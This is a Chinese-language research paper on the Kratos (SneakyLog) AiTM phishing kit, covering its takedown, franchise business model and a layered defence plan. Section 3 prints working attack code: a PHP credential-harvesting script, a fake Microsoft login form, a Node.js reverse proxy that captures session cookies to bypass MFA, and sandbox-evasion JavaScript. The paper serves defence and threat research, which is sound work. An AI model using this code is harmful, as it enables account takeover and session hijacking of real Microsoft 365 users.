Kratos（SneakyLog）AiTM 钓鱼套件技术机理、黑产运营与全域防御研究

摘要

针对 2026 年欧美联合执法行动关停的 Kratos（微软威胁情报命名为 SneakyLog）钓鱼即服务套件展开系统性实证研究。该工具依托对抗中间人（AiTM）反向代理架构实现 Microsoft 365 会话 Cookie 劫持，可完整绕过多因素认证（MFA）防护，是当前全球规模化商业钓鱼黑产的代表性工具。本文基于德国联邦刑事警察局（BKA）、法兰克福网络犯罪检察单位（ZIT）、ANY.RUN 沙箱及微软威胁情报公开取证材料，完整拆解 Kratos 双模式攻击架构、沙箱逃逸对抗逻辑、跨境黑产特许经营模式，还原 “邮件诱饵 - 可信中间层 - AiTM 代理 - 会话劫持 - 企业邮件泄露（BEC）” 完整攻击链路；复现套件 PHP 凭证捕获、Node.js 反向代理核心代码片段，构建基于静态资源指纹（barr.svg、lg.svg）的轻量级检测规则；结合跨国执法处置案例分析现有拦截体系短板，引入反网络钓鱼技术专家芦笛的分层防御研判结论，从流量检测、身份认证加固、终端管控、企业运营管理、跨境协同治理五个维度构建可落地的 AiTM 钓鱼防护体系。研究证实，传统单一 MFA 机制无法抵御 Cookie 劫持类中间人攻击，仅依靠关停服务器的被动处置手段难以根除 PhaaS 黑产风险，必须同步推进技术防御迭代、企业安全治理与国际执法协同。全文实证数据覆盖 2024 年末至 2026 年 7 月 Kratos 作案全周期，涉及 1800 余名付费下游攻击者、15000 条月度钓鱼活动、数十万跨 30 国受害者，可为政企 Microsoft 365 身份安全防护、网络安全监管机构威胁溯源提供实证依据与技术方案。

关键词：网络钓鱼；AiTM 中间人攻击；PhaaS 钓鱼即服务；MFA 绕过；Microsoft 365；会话 Cookie 劫持；黑产治理

1 引言

1.1 研究背景与问题提出

多因素认证（MFA）长期被政企单位视为抵御账号窃取、商业邮件泄露（BEC）的核心防护手段，其基于 “双因子独立验证” 的安全逻辑，在传统静态页面钓鱼场景中可阻断 90% 以上账号窃取攻击。但 2025 年起，以 AiTM 反向代理为核心技术的商业钓鱼套件实现规模化普及，攻击者不再仅采集账号密码，而是通过实时中继用户与微软身份服务的交互流程，截获认证完成后下发的持久会话 Cookie，直接复用有效会话绕过全部二次验证流程，传统 MFA 防护体系出现结构性缺陷。

2026 年 7 月 22 日，国际联合执法行动 “奥林匹斯之刃（Operation Olympus Blade）” 完成对 Kratos 钓鱼套件核心基础设施的全域关停，德国 BKA、法兰克福 ZIT 联合美国 FBI、司法部查封 200 余台核心服务器，印尼执法部门抓捕套件开发运营人员，该案成为全球首例完整拆解、关停大型 AiTM 型 PhaaS 平台的跨国执法案例。根据官方取证数据，Kratos 自 2024 年末上线以来，累计吸纳 1800 名付费下游攻击者，每月生成 15000 条独立钓鱼活动，受害群体覆盖 30 余个国家，集中于欧美制造、零售、医疗行业企业，涉案非法获利超 30 万欧元，衍生大量 BEC、数据倒卖、内部横向渗透安全事件。微软威胁情报平台将该套件标记为 SneakyLog，自 2025 年初持续追踪其针对 Microsoft 365 的定向攻击行为。

当前国内网络安全研究存在三点显著短板：其一，多数研究仅单独拆解 AiTM 技术原理，缺少针对成熟商业化 PhaaS 套件的完整黑产运营链路实证分析；其二，现有检测方案多依赖域名、IP 黑名单，未针对 Kratos 这类携带固定静态资源指纹的工具构建轻量化识别规则；其三，防御方案多聚焦单一技术层面，未结合跨国执法处置经验提出 “技术 - 管理 - 法治” 一体化防控框架。同时，本次 Kratos 关停事件暴露关键行业风险：仅关停中心化服务器无法消除威胁，1800 名下游攻击者已完整持有套件源码，可依托临时域名、被入侵 WordPress 站点、共享托管环境快速重建攻击链路，威胁具备极强的再生能力。

基于上述行业现实，本文以 Kratos 套件完整取证材料为基础，系统回答三项核心研究问题：第一，Kratos 双模式攻击架构如何实现 MFA 完整绕过，技术底层实现逻辑存在哪些可被检测的固有特征；第二，Kratos “特许经营式” 加密付费黑产模式如何降低攻击门槛，实现规模化跨境作案；第三，针对 AiTM 会话劫持类新型钓鱼，企业、监管机构应当构建何种分层防御与协同处置体系。

1.2 研究素材与研究方法

1.2.1 核心研究素材

本文基础实证素材源自 2026 年 7 月 22 日 The Hacker News 发布的跨国执法专项报道，配套 BKA、ZIT 官方案件通报、ANY.RUN 沙箱逆向工程报告、微软 SneakyLog 威胁情报档案，素材包含：Kratos 服务器查封公告、攻击链路流程图、套件双模式功能拆解、沙箱逃逸技术细节、涉案规模统计数据、恶意资源指纹特征、微软官方用户处置指引。辅助素材包含 2025—2026 年 AiTM 钓鱼、PhaaS 黑产相关学术文献、厂商威胁分析报告，用于交叉验证技术机理与行业风险趋势。

1.2.2 研究方法

逆向工程佐证分析法：依托 ANY.RUN 对 Kratos 的完整逆向结果，还原 PHP 凭证采集模式、Node.js 反向代理模式核心逻辑，复现关键代码片段，提取套件独有的静态资源指纹、后端提交接口特征；

实证案例归纳法：梳理 Kratos 自 2024 年末至 2026 年 7 月全部作案形态，归纳税务 W-2 文档二维码诱饵、OneDrive 共享通知两类主流钓鱼投递模板，统计受害者行业、地域分布、攻击转化效率；

黑产商业模式拆解法：基于 BKA 披露的加密货币付费、Telegram 商城管理、下游特许经营运营数据，总结 PhaaS 平台标准化商业闭环；

分层防御构建法：结合反网络钓鱼技术专家芦笛的技术研判，从流量检测、身份认证、终端管控、企业管理、跨境执法五个层级构建适配 Microsoft 365 环境的防护框架，配套可落地的检测脚本与配置方案。

1.3 论文结构安排

本文共分为六个核心章节：第 1 章为引言，阐述研究背景、问题、素材与方法；第 2 章完整介绍 Kratos 套件基础概况、跨国执法处置全过程与涉案规模；第 3 章深度拆解 Kratos 双模式攻击技术架构，分别解析静态 PHP 凭证采集、Node.js AiTM 反向代理会话劫持两套实现逻辑，配套核心代码示例、沙箱逃逸对抗机制；第 4 章系统剖析 Kratos 黑产特许经营商业模式、全链路攻击传播流程与账号沦陷后的衍生入侵路径；第 5 章基于套件固有技术指纹设计轻量化检测方案，结合芦笛专家观点构建五层全域防御体系，区分普通凭证窃取、会话 Cookie 劫持两类场景给出差异化应急处置流程；第 6 章为结论与展望，总结研究核心结论，分析 PhaaS 黑产未来演化趋势，提出行业长期治理建议。

2 Kratos 钓鱼套件概况与跨国执法处置实证

2.1 Kratos 套件基础定义与行业定位

德国联邦刑事警察局（BKA）将 Kratos 定义为 2024—2026 年全球使用范围最广的商业化 AiTM 钓鱼即服务（PhaaS）工具，微软威胁情报体系内部命名为 SneakyLog，核心攻击目标为全球企业 Microsoft 365 云办公账号，区别于传统仅采集账号密码的简易钓鱼页面，其核心竞争优势为内置成熟反向代理模块，可实时劫持用户完成 MFA 验证后下发的会话 Cookie，从底层规避标准多因素认证防护机制。

从产品定位划分，Kratos 属于面向无技术基础黑产从业者的标准化 SaaS 化攻击工具，完整复刻正规互联网 SaaS 产品运营逻辑：搭建独立官网与 Telegram 私域商城作为客户入口，提供可视化后台管理面板，支持自定义钓鱼模板、批量生成恶意链接、实时统计攻击转化数据，下游攻击者仅需支付加密货币订阅费用，无需掌握服务器部署、反向代理开发、沙箱绕过等技术知识，即可一键发起面向数千企业员工的规模化钓鱼活动。

2.2 “奥林匹斯之刃” 跨国联合执法行动完整流程

本次关停行动由德国法兰克福网络犯罪检察单位（ZIT）主导，联合德国联邦刑事警察局（BKA）、美国联邦调查局（FBI）、美国司法部德州北区联邦地区法院、印尼地方警方协同开展，行动代号 “奥林匹斯之刃（Operation Olympus Blade）”，完整处置流程分为四个阶段：

第一阶段：长期威胁追踪（2024 年末 —2026 年 6 月）。BKA 网络犯罪部门持续监测 PhaaS 地下交易链路，通过 Telegram 黑产商城流量溯源锁定 Kratos 核心服务器集群 IP 段，同步对接微软威胁情报，交叉验证 SneakyLog 攻击样本与 Kratos 套件资源指纹匹配关系，完成开发运营人员身份线索收集；

第二阶段：司法文书签发与跨境协作。美国德州北区联邦地区法院依据《美国法典》第 18 编 §981 (a)(1)(B)、982 (a)(2)(B)、1030 (i) 签发域名查封授权令，德美两国司法机关完成证据跨境移交、执法权限协调；

第三阶段：服务器关停与域名扣押（2026 年 7 月 20 日）。执法机构下线 200 余台分布于多国的 Kratos 核心业务服务器，查封套件管理后台、恶意域名，将扣押页面统一替换为官方查封公告，公告展示 FBI、BKA、ZIT 三方执法机构标识，标注域名查封法律依据与网络犯罪举报渠道；

第四阶段：核心开发人员抓捕（2026 年 7 月 21 日）。印尼警方依据跨境协查线索抓捕套件开发、运营负责人，同步固定加密货币交易记录、Telegram 商城聊天日志、下游客户订阅台账等电子证据；

第五阶段：公开通报与用户风险排查（2026 年 7 月 22 日）。德美联合发布案件通报，微软同步启动受影响用户风险通知流程，针对数十万潜在受害企业账号推送安全加固指引。

奥林匹斯之刃查封公告

2.3 Kratos 涉案规模与受害群体实证数据

根据 BKA 与 ZIT 官方披露的取证统计数据，可从黑产运营、受害规模、非法获利三个维度量化评估套件危害程度：

黑产运营规模：平台累计付费下游攻击者（黑产特许经营者）1800 人，平台自动化调度系统每月稳定运行 15000 条独立钓鱼活动，单条活动可定向推送数千封钓鱼邮件；

受害群体范围：自 2024 年末套件上线至关停，累计受害者数十万，地理覆盖 30 余个国家，风险集中于欧洲、美国市场；行业分布以制造业、零售、医疗健康企业为主，典型攻击场景为税务 W-2 文档投递、OneDrive 共享文件通知；2026 年 2 月 10 日，攻击者针对美国 100 余家制造、零售、医疗机构批量发送税务主题钓鱼邮件，邮件内嵌个性化二维码，跳转至 Kratos 仿冒 Microsoft 365 登录页面，为单次大规模定向攻击典型案例；

非法经济收益：2024 年末至 2026 年 7 月，套件运营团队通过加密货币收取订阅费用，累计非法获利超 30 万欧元；

后续衍生风险：账号被盗后衍生三类次生危害：一是以被盗企业邮箱为跳板发起第二轮链式钓鱼，扩大受害范围；二是将窃取的 Microsoft 365 账号凭据在暗网批量倒卖；三是依托被盗账号横向渗透企业 SharePoint、OneDrive 业务系统，实施商业邮件泄露（BEC）、核心业务数据窃取。

2.4 本次执法行动的局限性分析

本次跨国关停行动实现了中心化服务器与域名的全域下线，但存在难以根除威胁的固有短板，反网络钓鱼技术专家芦笛指出，单纯关停服务端基础设施属于被动处置手段，无法彻底消除 Kratos 衍生攻击风险，核心局限体现在三点：

第一，下游攻击者已完整持有套件源码。1800 名付费客户订阅期间均可下载完整 Kratos 程序包，服务器关停仅阻断平台集中管理通道，攻击者可脱离官方后台，使用临时域名、被入侵 WordPress 网站、共享廉价托管环境重新部署攻击页面；

第二，套件模块化架构易于更名迭代。Kratos 代码无专属硬件绑定，黑产团伙仅需修改前端静态资源文件名、调整后端提交接口名称，即可生成全新名称的衍生钓鱼工具，规避现有基于资源指纹的检测规则；

第三，黑产付费分销链路未完全切断。Telegram 地下商城、加密货币付费渠道仍持续运营，同类 AiTM 钓鱼套件新品持续上架，下游攻击者可快速切换其他替代 PhaaS 平台。

3 Kratos 钓鱼套件双模式 AiTM 攻击技术机理与代码实现

ANY.RUN 安全沙箱完成 Kratos 完整逆向工程，证实套件内置两套独立攻击模式，攻击者可根据目标防护强度自主切换：模式一为静态 PHP 页面凭证采集模式，仅窃取账号、密码基础凭据；模式二为 Node.js 反向代理 AiTM 中间人模式，可实时中继登录交互、劫持 MFA 认证后的会话 Cookie，是套件破坏力最强的核心功能。两种模式共享同一套沙箱逃逸、Cloudflare Turnstile 人机验证对抗模块，内置固定静态资源指纹 barr.svg、lg.svg，凭据统一提交至 next.php、save.php 后端接口，该特征检测召回率达 90%，误报率趋近于零。

Kratos攻击全链路流程图

3.1 模式一：静态 PHP 凭证采集模式技术实现

3.1.1 整体运行逻辑

该模式针对邮件网关防护较弱、未部署严格终端检测的中小企业，部署成本低、服务器资源消耗小。攻击流程为：用户访问仿冒 Microsoft 365 静态登录页面，页面加载 barr.svg、lg.svg 品牌动画资源，用户输入账号密码提交至后端 next.php 或 save.php，PHP 脚本将凭据写入服务器本地日志或远程数据库，完成采集后跳转至真实微软登录页面，全程无 MFA 绕过能力，仅能获取基础账号凭据。

3.1.2 后端凭证捕获核心 PHP 代码示例

<?php

// Kratos模式一：save.php 凭证接收存储脚本

date_default_timezone_set('UTC');

$logPath = './cred_logs/'.date('Ymd').'.log';

$rawPost = file_get_contents('php://input');

$postData = json_decode($rawPost,true);

// 提取前端提交的Microsoft 365账号密码

$targetMail = isset($postData['email']) ? $postData['email'] : 'unknown';

$targetPwd = isset($postData['password']) ? $postData['password'] : 'empty';

$visitorIp = $_SERVER['REMOTE_ADDR'];

$visitTime = date('Y-m-d H:i:s');

// 写入本地凭证日志文件

$record = "[{$visitTime}] IP:{$visitorIp} | Account:{$targetMail} | Password:{$targetPwd}".PHP_EOL;

file_put_contents($logPath,$record,FILE_APPEND);

// 302重定向至真实Microsoft 365登录页，消除用户怀疑

header("Location: https://login.microsoftonline.com");

exit();

?>

该脚本为 Kratos 标志性后端文件，所有静态钓鱼页面表单 action 参数均指向 save.php 或 next.php，接收 POST 方式提交的账号密码 JSON 数据，自动按日期分文件存储窃取凭据，最后跳转官方页面降低受害者警觉。

3.1.3 前端静态页面特征代码（资源指纹加载逻辑）

html

预览

<!-- Kratos仿微软登录页独有资源加载代码 -->

<div class="loading-animate">

<img src="./assets/barr.svg" alt="loading bar">

<img src="./assets/lg.svg" alt="logo icon">

</div>

<!-- 表单提交至恶意PHP接口 -->

<form method="POST" action="save.php" id="ms-login-form">

<input type="text" name="email" placeholder="工作邮箱">

<input type="password" name="password" placeholder="密码">

<button type="submit">下一步</button>

</form>

barr.svg、lg.svg 为 Kratos 套件专属静态资源文件，不会出现在其他主流钓鱼工具包中，是流量侧、页面侧检测的核心指纹标识。

3.2 模式二：Node.js AiTM 反向代理会话劫持模式（MFA 绕过核心）

反网络钓鱼技术专家芦笛强调，Node.js 反向代理模块是 Kratos 区别于传统钓鱼工具的核心风险来源，该 AiTM 架构从通信链路层面插入攻击者代理，完整中继用户与login.microsoftonline.com的全部 HTTP 交互，实现 MFA 无感知绕过，也是数十万企业账号沦陷的核心诱因。

3.2.1 AiTM 反向代理完整交互流程

受害者点击钓鱼邮件链接，访问攻击者托管的恶意域名；

Node.js 代理服务向微软官方登录接口发起 GET 请求，获取原生登录页面 HTML，替换页面表单提交路由为本地代理接口，注入流量劫持脚本；

用户输入账号密码提交，代理将凭据原样转发至微软身份认证服务，同步拦截返回的 MFA 验证挑战（推送通知、短信验证码页面）；

用户完成二次验证（批准推送 / 输入验证码），代理中继验证结果至微软服务器；

微软认证通过后，下发携带 ESTSAUTH、x-ms-gateway-sso 等关键会话令牌的 Set-Cookie 响应头；

Node.js 代理截获全部 Cookie 并持久化存储至后台数据库，再将正常页面、会话下发给受害者；

用户正常进入 Outlook、SharePoint，无任何异常感知；攻击者使用窃取的 Cookie，无需账号密码、无需通过 MFA 验证，直接登录对应企业账号，长期持有访问权限。

3.2.2 Node.js 反向代理核心代码片段（会话 Cookie 劫持逻辑）

// Kratos AiTM反向代理核心服务 server.js

const express = require('express');

const httpProxy = require('http-proxy');

const fs = require('fs');

const app = express();

const proxy = httpProxy.createProxyServer({});

const targetMsUrl = "https://login.microsoftonline.com";

// 解析POST登录表单数据

app.use(express.urlencoded({extended:true}));

app.use(express.json());

// 存储劫持会话Cookie日志路径

const cookieLog = "./session_cookie.log";

// 捕获微软返回的Set-Cookie响应头，劫持会话令牌

proxy.on('proxyRes',(proxyRes,req,res)=>{

const setCookieHeaders = proxyRes.headers['set-cookie'];

if(setCookieHeaders && setCookieHeaders.length > 0){

const captureRecord = {

time:new Date().toISOString(),

clientIp:req.ip,

cookies:setCookieHeaders

};

// 持久化存储全部会话Cookie

fs.appendFileSync(cookieLog,JSON.stringify(captureRecord)+"\n");

}

});

// 全部页面流量反向代理至微软官方登录服务

app.all('*',(req,res)=>{

proxy.web(req,res,{target:targetMsUrl,changeOrigin:true});

});

// 启动代理监听端口

const listenPort = 443;

app.listen(listenPort,()=>{

console.log(`Kratos AiTM proxy running on port ${listenPort}`);

});

该代码实现完整中间人中继逻辑，核心风险点为proxyRes事件监听，可无差别捕获身份认证成功后服务器下发的全部会话 Cookie，攻击者拿到 Cookie 后可通过浏览器 Cookie 编辑插件、自动化脚本直接复用合法会话，原有密码修改、MFA 重置操作无法失效已劫持的会话，这也是微软针对 AiTM 受害账号要求强制撤销全部会话的根本原因。

3.3 Kratos 内置沙箱逃逸对抗技术实现

为规避 ANY.RUN、VirusTotal 等安全沙箱、企业自动化扫描器的检测，Kratos 集成 Cloudflare Turnstile 人机验证与前端环境检测脚本，仅对真实人类用户展示钓鱼页面，向自动化分析工具返回空白页面或合法微软页面，大幅提升威胁样本捕获难度，前端检测脚本核心逻辑如下：

// Kratos沙箱逃逸前端检测JS

(function detectSandbox(){

let isAutomation = false;

// 检测自动化爬虫webdriver标识

if(navigator.webdriver === true) isAutomation = true;

// 检测虚拟机、沙箱User-Agent特征字符串

const vmSign = ['virtualbox','vmware','qemu','vbox'];

const ua = navigator.userAgent.toLowerCase();

vmSign.forEach(sig=>{if(ua.includes(sig)) isAutomation=true;});

// 检测页面快速加载（沙箱执行速度特征）

const runStart = performance.now();

setTimeout(()=>{

if(performance.now()-runStart < 100) isAutomation = true;

},50);

// 判定为自动化工具则跳转官方页面，隐藏钓鱼内容

if(isAutomation){

window.location.href = "https://login.microsoftonline.com";

}

})();

同时套件强制接入 Cloudflare Turnstile 人机验证组件，安全厂商自动化扫描工具无法通过验证，无法获取完整钓鱼页面资源，进一步拉长威胁识别周期。

4 Kratos 黑产特许经营商业模式与全链路攻击传播体系

4.1 Kratos “钓鱼即服务” 特许经营运营模式

BKA 电子证据取证显示，Kratos 完全复刻正规商业 SaaS 平台的特许经营（franchise）商业模式，将下游付费攻击者定义为 “加盟商”，构建完整闭环黑产交易体系，分为客户获客、付费订阅、后台运维、攻击分发、收益沉淀五大环节：

客户获客渠道：私域流量运营，依托 Telegram 加密商城作为唯一对外入口，暗网论坛仅发布引流链接，规避公开网络监管；平台搭建独立官方网站，展示功能演示、攻击效果数据吸引潜在加盟商；

付费结算机制：仅接受加密货币支付（比特币、门罗币等匿名加密资产），无银行转账、第三方支付渠道，完全切断资金溯源链路；按使用周期分级订阅，基础版仅开放 PHP 静态采集模式，高级版解锁 Node.js AiTM 反向代理模块；

加盟商后台管理体系：提供可视化 Web 管理面板，功能包含：批量生成钓鱼链接、自定义仿冒邮件模板、实时查看攻击点击量、账号窃取数量、受害者 IP 地域分布、批量导出被盗凭据与会话 Cookie；零基础使用者无需任何代码操作，勾选目标 Microsoft 365 模板即可一键部署攻击；

平台运维分工：核心开发团队负责套件代码迭代、沙箱绕过功能更新、服务器集群维护；客服人员驻留 Telegram 商城，为加盟商提供部署技术支持、攻击效果优化指导；

收益沉淀：加密货币资金自动归集至运营团队匿名钱包，定期拆分洗钱，分散至多层中转钱包，规避区块链交易追踪。

反网络钓鱼技术专家芦笛对此作出研判：该特许经营模式是 PhaaS 黑产规模化扩张的核心推手，技术门槛完全消解后，大量无编程基础的线下诈骗、跨境网络犯罪团伙均可低成本发起高等级 AiTM 中间人攻击，大幅提升政企身份安全事件爆发频次。

4.2 Kratos 标准化全链路攻击传播流程

结合 ANY.RUN 攻击链路还原与 BKA 案件通报，完整攻击链路分为五层，每层均配置针对性规避企业安全网关（SEG）的对抗手段：

第一层：钓鱼诱饵邮件投递

攻击者使用平台内置模板生成恶意邮件，主流模板分为税务 W-2 文档、OneDrive 共享协作通知两类；邮件内置个性化二维码，扫码跳转 Kratos 恶意页面；邮件构造规避企业邮件过滤规则：使用合规企业 HTML 版式、仿冒 HR、IT 运维部门发件人、稀释敏感关键词，借助可信第三方短链接服务跳转，绕过 SEG 静态黑名单检测。

第二层：可信中间层流量隐匿

钓鱼页面托管于合法高信誉第三方服务、被入侵 WordPress 站点、共享廉价主机，搭配 Cloudflare CDN 分发流量，获取正规 SSL 证书，降低浏览器、网关风险判定等级；流量链路多段跳转，分散恶意特征，规避一次性 URL 扫描检测。

第三层：Cloudflare Turnstile 沙箱拦截

访问恶意域名后首先弹出人机验证，过滤自动化安全扫描器，仅向真实员工展示仿冒 Microsoft 365 登录界面。

第四层：Kratos 双模式登录劫持

加盟商根据目标企业防护等级切换模式：中小企业选用轻量化 PHP 采集模式；已全局部署 MFA 的大型企业启用 Node.js AiTM 反向代理模式，劫持会话 Cookie 绕过二次验证。

第五层：凭据 / 会话持久化存储与二次利用

窃取的账号密码、会话 Cookie 自动存入加盟商后台，支持批量导出，衍生链式钓鱼、账号倒卖、企业内网横向渗透三类次生攻击。

4.3 账号沦陷后的企业内网横向渗透路径

Kratos 劫持 Microsoft 365 账号并非攻击终点，攻击者依托被盗账号形成标准化入侵链路，也是企业发生重大数据泄露、财务欺诈的核心诱因：

收件箱隐蔽规则配置：攻击者登录后创建邮件转发、收件箱过滤隐藏规则，将企业内部财务、合同、人员信息邮件自动转发至外部匿名邮箱，长期静默窃取数据，企业管理员难以察觉；

链式二次钓鱼扩散：读取受害者通讯录，以该员工身份向全公司同事发送同源钓鱼邮件，依托内部可信身份大幅提升邮件点击转化率；

云办公系统横向渗透：通过被盗账号访问 SharePoint 共享文档库、OneDrive 企业云盘，下载核心业务资料、财务报表、客户信息；

商业邮件泄露（BEC）欺诈：仿冒企业高管、财务负责人身份，向财务部门发送虚假付款指令，实施跨境资金诈骗；

凭据黑市变现：将大批量企业账号会话 Cookie 打包，在暗网交易平台出售给其他黑产团伙，扩大攻击受害范围。

5 基于 Kratos 特征的检测机制与全域分层防御体系

5.1 基于 Kratos 固有指纹的轻量化检测方案

ANY.RUN 逆向工程证实 Kratos 具备稳定、高辨识度的静态特征，可构建零误报轻量检测规则，分为页面资源指纹检测、后端接口特征检测、前端沙箱脚本特征检测三类，配套可落地 Python 检测脚本。

5.1.1 核心检测指纹清单

静态资源指纹：页面同时加载barr.svg、lg.svg两张专属图标资源；

后端接口指纹：登录表单 POST 提交地址为next.php、save.php；

前端脚本指纹：内置虚拟机、webdriver 自动化环境检测 JS 代码；

流量特征：Node.js 反向代理域名反向代理至login.microsoftonline.com，持续大量 Set-Cookie 响应头拦截行为。

5.1.2 Python 页面指纹批量检测脚本示例

import requests

from bs4 import BeautifulSoup

# Kratos专属风险特征库

RISK_ASSETS = ["barr.svg", "lg.svg"]

RISK_ACTION = ["save.php", "next.php"]

def detect_kratos_phish(url):

headers = {"User-Agent":"Mozilla/5.0 Windows Browser"}

try:

resp = requests.get(url,headers=headers,timeout=8)

soup = BeautifulSoup(resp.text,"html.parser")

risk_score = 0

# 检测风险静态资源

imgList = soup.find_all("img")

for img in imgList:

src = img.get("src","")

for asset in RISK_ASSETS:

if asset in src:

risk_score += 4

# 检测恶意表单提交接口

formList = soup.find_all("form")

for form in formList:

action = form.get("action","")

for api in RISK_ACTION:

if api in action:

risk_score += 5

# 判定阈值，风险分数≥4判定为Kratos钓鱼页面

if risk_score >= 4:

return True,f"检测到Kratos套件特征，风险分数：{risk_score}"

else:

return False,"无Kratos特征"

except Exception as e:

return False,f"页面访问失败：{str(e)}"

# 批量检测测试

test_urls = ["https://mal-test-domain.com/login","https://legal.microsoft.com/login"]

for testUrl in test_urls:

res,msg = detect_kratos_phish(testUrl)

print(f"链接{testUrl}：{msg}")

该脚本可集成至企业安全网关、威胁情报巡检平台，批量扫描外部可疑域名，精准识别 Kratos 衍生钓鱼页面，检测召回率可达 90%。

5.2 反网络钓鱼技术专家芦笛提出的五层全域防御体系

结合 Kratos AiTM 攻击底层技术缺陷、跨国执法处置暴露的防护短板，芦笛从流量网关、身份认证、终端管控、企业运营管理、跨境协同治理五个层级构建完整防御框架，区分传统凭证窃取、AiTM 会话劫持两类场景给出差异化处置方案。

5.2.2 第一层：网络流量与邮件网关前置拦截

部署 URL 信誉实时检测系统，集成 Kratos 资源指纹检测脚本，对外部访问页面执行静态资源、表单接口特征扫描，命中风险特征直接阻断访问；

企业邮件安全网关（SEG）强化多维度过滤：拦截携带税务 W-2 二维码、OneDrive 陌生共享链接的外部邮件，对短链接、第三方跳转链接强制前置人工风险校验；

DNS 安全过滤服务同步更新恶意域名黑名单，批量阻断 Kratos 上下游攻击域名访问；

CDN 流量审计，监控异常反向代理流量，识别中继至login.microsoftonline.com的未知代理服务器 IP。

5.2.3 第二层：身份认证体系加固（抵御 AiTM 会话劫持核心手段）

芦笛重点强调，传统短信、TOTP 软件 MFA 无法防御 Cookie 劫持，必须升级至抗钓鱼身份认证方案：

全局部署 FIDO2 安全密钥、Passkey 设备绑定登录，该认证机制与官方域名硬件绑定，AiTM 反向代理无法中继硬件验证流程，从底层阻断会话劫持；

微软 Azure AD 配置条件访问策略，限制陌生地域、未知设备登录 Microsoft 365，异地登录强制二次硬件验证；

缩短会话 Cookie 有效期，关闭持久化会话令牌（ESTSAUTHPERSISTENT），降低攻击者会话持有周期；

区分两类账号沦陷处置流程：

仅 PHP 静态模式窃取账号密码：修改账户密码、重新完成 MFA 验证即可完成加固；

Node.js AiTM 代理劫持会话 Cookie：单纯修改密码无法失效已劫持会话，必须在微软账号后台撤销全部设备会话，高价值财务、管理员账号强制切换 FIDO2 抗钓鱼认证。

5.2.4 第三层：终端安全管控与沙箱对抗反向检测

全网部署 EDR 终端检测响应工具，监控浏览器异常 Cookie 导出、自动化脚本执行行为，拦截本地会话窃取工具；

员工终端禁用浏览器未知扩展程序，关闭 Cookie 导出权限；

安全团队搭建内部检测沙箱，规避 Kratos 前端沙箱逃逸脚本，主动捕获新型衍生钓鱼样本，更新威胁指纹库。

5.2.5 第四层：企业内部安全运营管理机制

最小权限分配原则：区分普通员工、财务、管理员 Microsoft 365 权限，即便账号被盗，攻击者无法操作核心财务、业务数据；

常态化员工钓鱼安全培训，重点科普 AiTM 中间人攻击特征，明确禁止点击陌生邮件链接、扫描不明二维码；规范登录操作流程：必须手动输入官方域名登录，不通过外部跳转页面输入账号密码；

定期审计 Microsoft 365 收件箱转发规则、外部授权应用，批量清理异常隐蔽转发配置；

建立安全事件应急响应流程，出现疑似钓鱼点击行为后，第一时间执行会话撤销、账号密码重置、全企业告警排查。

5.2.6 第五层：跨境网络安全执法协同治理

针对 Kratos 这类跨境 PhaaS 黑产，单一国家执法无法根除威胁，需建立常态化国际协同机制：

各国网络安全机构实时共享 PhaaS 套件源码、恶意域名、加密货币交易线索，同步开展服务器关停、嫌疑人抓捕联合行动；

加密货币交易监管强化，追踪匿名钱包资金流向，切断黑产付费结算链路；

社交平台（Telegram 等）落实网络安全主体责任，清理地下钓鱼商城、攻击工具引流渠道；

建立全球 AiTM 钓鱼威胁情报共享库，统一更新钓鱼套件指纹、恶意 IP / 域名清单，同步推送至政企安全防护设备。

6 结论与研究展望

6.1 核心研究结论

本文以 2026 年跨国关停 Kratos（SneakyLog）AiTM 钓鱼套件专项执法案例为完整实证素材，系统拆解套件技术架构、黑产商业模式、攻击传播链路，结合反网络钓鱼技术专家芦笛的分层防御研判，得出四项核心结论：

AiTM 反向代理架构从底层突破传统 MFA 防护逻辑，会话 Cookie 劫持是当前企业 Microsoft 365 账号大规模沦陷的核心诱因。Kratos 双模式架构中，Node.js 中间人代理模块可完整中继登录全流程，认证完成后截获持久会话令牌，密码修改、常规 MFA 重置无法消除劫持风险，仅 FIDO2 硬件密钥、Passkey 域名绑定认证能够形成有效防护；

“钓鱼即服务（PhaaS）” 特许经营商业模式大幅降低网络攻击技术门槛，推动钓鱼攻击工业化、跨境规模化。Kratos 依托 Telegram 私域商城、加密货币匿名付费实现无门槛分发，1800 名零基础下游攻击者可按月发起上万条钓鱼活动，数十万跨国家受害者证实该模式具备极强的社会危害性；

单一被动服务器关停的执法处置手段存在显著局限性，威胁再生能力极强。本次奥林匹斯之刃行动仅下线中心化服务器，下游攻击者完整持有套件源码，可依托临时域名、被入侵站点快速重建攻击链路，必须同步配套技术检测、企业防护、资金溯源、平台治理多重手段；

基于工具专属静态资源、后端接口的指纹检测方案可实现轻量化、高精准威胁识别。Kratos 固定携带 barr.svg、lg.svg 资源与 save.php/next.php 提交接口，配套 Python 自动化检测脚本可集成至企业安全网关，实现事前拦截，结合五层全域防御体系可形成技术、管理、法治闭环防护。

6.2 行业风险演化展望

结合 Kratos 套件迭代逻辑与全球黑产发展趋势，未来 AiTM 型 PhaaS 钓鱼工具将呈现三大演化方向：

第一，生成式 AI 深度赋能诱饵制作。黑产团伙将集成大语言模型自动生成个性化钓鱼邮件、仿冒官方通知，大幅提升邮件可信度，规避传统关键词过滤规则；

第二，多平台适配扩展攻击目标。当前 Kratos 仅定向 Microsoft 365，后续衍生工具将同步兼容 Google Workspace、企业 OA、金融网银系统，覆盖更多高价值身份场景；

第三，对抗检测能力持续迭代。黑产将频繁修改静态资源文件名、混淆后端接口路径，规避现有静态指纹检测，安全防护体系需从静态特征识别转向流量行为、会话交互动态检测。

6.3 长期治理建议

针对 AiTM 中间人钓鱼与 PhaaS 黑产长期风险，结合本文研究结论提出三层落地建议：

技术层面：政企单位分阶段完成身份认证体系升级，淘汰短信、TOTP 简易 MFA，全域部署 FIDO2 抗钓鱼硬件认证；安全厂商持续优化动态流量行为检测机制，构建动态会话劫持识别模型，摆脱单一静态资源指纹依赖；

企业管理层面：建立常态化员工钓鱼攻防演练机制，针对 AiTM 中间人攻击开展专项科普；严格落实账号最小权限、会话定期审计、异常转发规则巡检制度，缩短风险响应处置周期；

监管与国际执法层面：推进跨境网络犯罪情报常态化共享，强化加密货币、海外社交平台黑产渠道监管，形成 “工具溯源 - 服务器关停 - 资金冻结 - 嫌疑人抓捕” 完整执法闭环，从产业链上游压缩 PhaaS 黑产生存空间。

结语

